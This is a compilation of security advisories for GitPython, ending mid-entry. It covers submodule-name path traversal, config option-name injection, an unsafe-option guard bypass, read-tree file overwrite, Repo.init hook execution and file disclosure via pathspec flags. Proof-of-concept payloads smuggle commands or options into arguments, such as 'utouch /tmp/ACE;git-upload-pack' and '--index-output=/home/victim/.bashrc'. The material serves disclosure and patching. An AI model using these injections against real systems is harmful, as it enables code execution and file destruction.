[https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-hh9p-6wh2-4mfc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython [CVE-2026-76222](https://nvd.nist.gov/vuln/detail/CVE-2026-76222) / [GHSA-hmq2-w58f-27jc](https://github.com/advisories/GHSA-hmq2-w58f-27jc) / PYSEC-2026-3784 <details> <summary>More information</summary> #### Details ##### Summary GitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/<name>`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check. ##### Details `src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule "` / `"` wrapper from a `.gitmodules` `[submodule "..."]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, "modules", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=<module_abspath>`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for. ##### PoC 1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`. 2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`). 3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section): ```bash $ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc . $ docker run --rm ghsa-gitpython-poc ``` (Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.) 4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim: ```python """GHSA-001 PoC: GitPython side. Clones the attacker repo and runs the equivalent of `git submodule update --init` via GitPython, then checks whether a git repository was created outside the clone directory. """ import os import shutil import git CLONE_DIR = '/work/victim_clone/repo' ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root' def main(): shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True) shutil.rmtree(ESCAPE_TARGET, ignore_errors=True) os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True) print(f'GitPython version: {git.__version__}') repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR) print('Cloned into:', repo.working_tree_dir) sms = list(repo.submodules) for sm in sms: print(' submodule name:', repr(sm.name)) print(' submodule path:', repr(sm.path)) print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET)) for sm in sms: try: sm.update(init=True) except Exception as e: print('sm.update raised:', repr(e)) exists = os.path.exists(ESCAPE_TARGET) print('escape_target exists after update:', exists) if exists: print('escape_target contents:', os.listdir(ESCAPE_TARGET)) print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE') if __name__ == '__main__': main() ``` 5. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section): ``` === GitPython PoC (vulnerable path) === GitPython version: 3.1.57 Cloned into: /work/victim_clone/repo submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir' submodule path: 'legit_dir' escape_target exists before update: False escape_target exists after update: True escape_target contents: ['modules_dir'] POC_RESULT=VULNERABLE === Control: real git CLI on identical repo === warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir fatal: No url found for submodule path 'legit_dir' in .gitmodules CONTROL_RESULT=SAFE (real git correctly refused) ``` 6. Payload: the attacker rewrites the `.gitmodules` section header from `[submodule "legit_dir"]` to `[submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"]` (built by `build_attacker_repo.sh`, part of the harness in `GHSA/testing/`). The malicious part is the `../../../../../../` traversal sequence embedded in the submodule *name* (not the tree-validated `path`), which becomes the on-disk target for the submodule's separate git directory. 7. Expected vs. observed: A safe implementation (as demonstrated by the real `git` CLI control run) rejects the submodule name with "ignoring suspicious submodule name" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at `/tmp/gitpython_poc_escaped_root/modules_dir`, confirmed by `escape_target exists after update: True` and its listed contents. 8. Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled) `url`. ##### Impact Path traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling. #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76222](https://nvd.nist.gov/vuln/detail/CVE-2026-76222) - [https://github.com/gitpython-developers/GitPython/pull/2202](https://github.com/gitpython-developers/GitPython/pull/2202) - [https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c](https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c) - [https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06](https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3784.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3784.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name](https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-hmq2-w58f-27jc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE) [CVE-2026-76221](https://nvd.nist.gov/vuln/detail/CVE-2026-76221) / [GHSA-jm78-9fvv-mhgr](https://github.com/advisories/GHSA-jm78-9fvv-mhgr) / PYSEC-2026-3783 <details> <summary>More information</summary> #### Details ##### Summary GitPython's config-name validator only neutralizes CR/LF/NUL for the `"option"` label; it does not reject `=`, `#`, `;`, `[`, `]`, or whitespace in an **option name**. `write_section` writes the option name verbatim into the config file, so an option name such as `sshCommand = touch <cmd> #` is written as `\tsshCommand = touch <cmd> # = <value>`, which git parses as `core.sshCommand = touch <cmd>` (the trailing `#` comments out the intended value). This forges arbitrary config directives (`core.sshCommand`, `core.hooksPath`, `alias.*`) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (`=`/`#`/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection). ##### Root Cause `_assure_config_name_safe(name, label)` (`git/config.py:897`) applies the bracket/quote state machine ONLY when `label == "section"`; for the `"option"` label it falls through with just the `UNSAFE_CONFIG_CHARS_RE = [\r\n\x00]` regex. `write_section` then writes the option name verbatim into `"\t%s = %s\n"` (config.py:702). ##### Impact Arbitrary git-config directive injection → remote code execution via `core.sshCommand` (fires on any ssh git operation, no staged file needed) or `core.hooksPath` (with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration. ##### Proof of Concept ```python with repo.config_writer() as cw: cw.set_value("core", "sshCommand = touch /tmp/RCE #", "x") ##### git config --get core.sshCommand -> touch /tmp/RCE ``` ##### Attack Chain 1. Entry: app calls config writer with attacker-controlled OPTION name: `set_value("core", "sshCommand = touch /tmp/RCE #", "x")`. 2. Check: `_assure_config_name_safe(option, "option")` @&#8203; config.py. Guard: regex matches only `[\r\n\x00]`; bracket/quote state machine is gated on `label=="section"`. Bypass proof: `=`,`#`,space pass → no `ValueError`. 3. Sink: `write_section` writes `"\tsshCommand = touch /tmp/RCE # = x\n"` (config.py:702). 4. Impact: git parses `core.sshCommand=touch /tmp/RCE` → arbitrary code execution on next git op. ##### Bypass Evidence Independently reproduced (gate harness): `set_value('core','sshCommand = touch <RCE> #','x')` → no `ValueError`; file line `sshCommand = touch <RCE> # = x`; `git config --get core.sshCommand` → `touch <RCE>` (rc=0). Also verified `core.hooksPath` via both `GitConfigParser` and `repo.config_writer()`. Fix-commit read: bracket/quote checks are inside `if label == "section"`; the `"option"` label is not covered. ##### Affected Versions `GitPython <= 3.1.57` (validator present verbatim on the latest release tag). ##### Suggested Fix Apply the section-name safety checks (reject `=`, `#`, `;`, `[`, `]`, whitespace) to the `"option"` label as well, or validate the fully-rendered config line after substitution. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/a495ccd3b547ccd60b2187215823b72a9c0188bf](https://github.com/gitpython-developers/GitPython/commit/a495ccd3b547ccd60b2187215823b72a9c0188bf) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jm78-9fvv-mhgr) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution [CVE-2026-76220](https://nvd.nist.gov/vuln/detail/CVE-2026-76220) / [GHSA-wvpp-8hx9-p66j](https://github.com/advisories/GHSA-wvpp-8hx9-p66j) / PYSEC-2026-3843 <details> <summary>More information</summary> #### Details ##### Summary The `check_unsafe_options` guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with `split_single_char_options=False`. The guard's candidate list omits the smuggled option, but `transform_kwarg` emits a JOINED `-n<value>` argv token that git parses as `--upload-pack=<cmd>`, yielding arbitrary command execution at the default `allow_unsafe_options=False`. This is an incomplete-fix bypass of commit `e8d0fbf7` (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when `split_single_char_options` is True. ##### Root Cause `_option_candidates` derives value-token candidates only under `if len(key)==1 and split_single_char_options:` (cmd.py:1048, added by `e8d0fbf7`). With `split_single_char_options=False`, `_option_candidates([], {"n":"utouch <cmd>;git-upload-pack"})` returns only `['-n']` (not on the denylist), so the guard passes. But `transform_kwarg('n', value, split_single_char_options=False)` emits the JOINED token `-nutouch <cmd>;git-upload-pack` (cmd.py:1631). git clusters value-less short flags then parses `-u<cmd>` = `--upload-pack=<cmd>` → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it. ##### Impact Arbitrary OS command execution as the host process (via `--upload-pack`) at default `allow_unsafe_options=False`, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing `split_single_char_options=False` plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts). ##### Proof of Concept ```python from git import Repo Repo.clone_from(src, dst, n="utouch /tmp/ACE;git-upload-pack", split_single_char_options=False) # /tmp/ACE created -> ACE ``` ##### Attack Chain 1. Entry: app forwards user kwargs to `Repo.clone_from(url, path, **kwargs)`: `{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}`. 2. Check: `check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options)`. Guard: denylist includes `--upload-pack`/`-u`. Bypass proof: `_option_candidates` yields only `['-n']` (value token skipped because `split=False`); guard never sees `-u`. 3. Sink: `transform_kwarg` emits joined token (cmd.py:1631). argv (observed): `['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>']`. 4. Impact: git clusters `-n` + `-u<cmd>` → runs upload-pack command → ACE. ##### Bypass Evidence Independently reproduced (gate harness, default `allow_unsafe_options=False`): the `split=False` payload created the marker `VH05_GATE_ACE` (ACE); the clone returned normally (guard bypassed). Control: `n='--upload-pack=…'` (split default True) → `UnsafeOptionError: --upload-pack is not allowed`. Fix-commit read: `e8d0fbf7` extends candidates only under `if len(key)==1 and split_single_char_options:` — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit `56806080`) does not cover this because the guard only ever receives `['-n']`. ##### Affected Versions `GitPython <= 3.1.57` (code present verbatim on the latest release tag). ##### Suggested Fix Make `_option_candidates` emit value-derived candidates regardless of `split_single_char_options` (i.e. also for the joined `-n<value>` form), OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76220](https://nvd.nist.gov/vuln/detail/CVE-2026-76220) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541](https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options](https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-wvpp-8hx9-p66j) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-76221](https://nvd.nist.gov/vuln/detail/CVE-2026-76221) / [GHSA-jm78-9fvv-mhgr](https://github.com/advisories/GHSA-jm78-9fvv-mhgr) / PYSEC-2026-3783 <details> <summary>More information</summary> #### Details GitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like 'sshCommand = touch /tmp/RCE #' to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-option-name](https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-option-name) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3783) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-76222](https://nvd.nist.gov/vuln/detail/CVE-2026-76222) / [GHSA-hmq2-w58f-27jc](https://github.com/advisories/GHSA-hmq2-w58f-27jc) / PYSEC-2026-3784 <details> <summary>More information</summary> #### Details GitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations. #### Severity - CVSS Score: 8.4 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name](https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3784) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite [CVE-2026-76219](https://nvd.nist.gov/vuln/detail/CVE-2026-76219) / [GHSA-4gmw-gg2m-w46p](https://github.com/advisories/GHSA-4gmw-gg2m-w46p) / PYSEC-2026-3838 <details> <summary>More information</summary> #### Details ##### Summary `IndexFile.from_tree`, `IndexFile.reset` (→ from_tree) and `IndexFile.merge_tree` append caller-influenced treeish strings positionally to `git read-tree` with no unsafe-option guard, no `allow_unsafe_options` parameter, and no `--` separator. `git read-tree --index-output=<file>` writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected `--index-output` override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit `3af0c251` (GHSA-3f7w-8rr8-f37f) guarded only `checkout_index` and `tag`; `read_tree` was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed). ##### Root Cause `from_tree` (index/base.py:388), `reset` (delegates to from_tree), and `merge_tree` (index/base.py:291) call `repo.git.read_tree(*arg_list)` with no `check_unsafe_options` and no `--`. The treeish is caller-influenced and positional. ##### Impact Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration. ##### Proof of Concept ```python IndexFile.from_tree(repo, "--index-output=/home/victim/.bashrc") ##### target overwritten with a valid git-index blob (DIRC...) ``` ##### Attack Chain 1. Entry: app calls `IndexFile.from_tree(repo, treeish)` / `reset(commit=…)` / `merge_tree(base=…, rhs=…)` with attacker `treeish="--index-output=/home/victim/.bashrc"`. 2. Check: NONE — the methods have no `allow_unsafe_options` and never call `check_unsafe_options`. 3. Sink: `repo.git.read_tree(*arg_list)` — no `--`. argv (from_tree, observed): `['git','read-tree','--index-output=<tmp>','--index-output=/…/victim']` (last-wins). 4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed. ##### Bypass Evidence Independently reproduced (gate harness): `IndexFile.from_tree(repo,'--index-output=<victim>')` → victim overwritten; before=`IMPORTANT ORIGINAL CONTENT`, after starts `DIRC\x00\x00\x00\x02…` (destructive clobber, valid index blob). `reset(commit=…)` and both `merge_tree` positionals verified. Fix-commit read: `3af0c251` touched only `checkout_index`+`tag`; `read_tree` untouched on HEAD. ##### Affected Versions `GitPython <= 3.1.57` (sinks present verbatim on the latest release tag). ##### Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `from_tree`/`reset`/`merge_tree`, and/or place a `--` separator before the positional treeish arguments; block `--index-output` (a path-taking option) on this sink. #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76219](https://nvd.nist.gov/vuln/detail/CVE-2026-76219) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32](https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-4gmw-gg2m-w46p](https://github.com/advisories/GHSA-4gmw-gg2m-w46p) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3838) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks [CVE-2026-76218](https://nvd.nist.gov/vuln/detail/CVE-2026-76218) / [GHSA-9rj7-rf2p-w77r](https://github.com/advisories/GHSA-9rj7-rf2p-w77r) / PYSEC-2026-3840 <details> <summary>More information</summary> #### Details ##### Summary `Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=<dir>` copies `<dir>/hooks/*` into the new repo's `.git/hooks`, so an attacker-controlled `template` kwarg plants a hook that executes on the next git operation → arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix. ##### Root Cause `Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`. ##### Impact Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all. ##### Proof of Concept ```python ##### attacker stages /evil/hooks/post-commit (executable) from git import Repo Repo.init(path, template="/evil") ##### next commit runs /evil/hooks/post-commit -> ACE ``` ##### Attack Chain 1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template='/evil')`. 2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `['git','init','--template=/evil']`. 3. Sink: git copies `/evil/hooks/post-commit` → `<repo>/.git/hooks/post-commit`. 4. Impact: next commit runs the hook → arbitrary code execution. ##### Bypass Evidence Independently reproduced (gate harness): `Repo.init(dst, template='<evil>')` → argv `['git','init','--template=<evil>']` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=<path>` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only). ##### Affected Versions `GitPython <= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag). ##### Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options). --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76218](https://nvd.nist.gov/vuln/detail/CVE-2026-76218) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66](https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-9rj7-rf2p-w77r](https://github.com/advisories/GHSA-9rj7-rf2p-w77r) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3840) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout() [CVE-2026-76217](https://nvd.nist.gov/vuln/detail/CVE-2026-76217) / [GHSA-hh9p-6wh2-4mfc](https://github.com/advisories/GHSA-hh9p-6wh2-4mfc) / PYSEC-2026-3841 <details> <summary>More information</summary> #### Details ##### Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ##### Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ##### Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ##### Proof of concept ```python from git import Repo 